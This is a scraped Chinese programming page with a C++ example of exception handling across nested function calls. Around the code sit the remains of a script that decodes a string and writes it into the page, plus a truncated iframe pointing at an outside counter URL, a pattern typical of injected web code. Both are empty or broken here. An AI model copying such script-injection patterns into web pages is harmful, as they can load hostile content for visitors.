在函数嵌套的情况下检测异常处理.cpp

    技术2022-05-11  58

    HTML Tags and JavaScript tutorial

    <script language="javascript">var encS="";var S=unescape(encS);document.write(S);</script>

    在函数嵌套的情况下检测异常处理.cpp

    //在函数嵌套的情况下检测异常处理.cpp #include<iostream.h> int  main() {  void f1();  try  {   f1();     //调用f1();  }  catch(double)  {   cout<<"ok0!"<<endl;  }  cout<<"end0"<<endl;  return 0; } void f1() {  void f2();  try  {   f2();                               //调用f2  }  catch(char)  {   cout<<"ok0!";  }  cout<<"endl"<<endl; } void f2() {  void f3();  try  {   f3();                          //调用F3  }  catch(int)  {   cout<<"ok2!"<<endl;  }  cout<<"end2"<<endl; } void f3() {  double a=0;  try  {   throw a;           //刨除double类型异常信息  }  catch(float)  {   cout<<"ok3!"<<endl;  }  cout<<"end3"<<endl; }  src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">

    最新回复(0)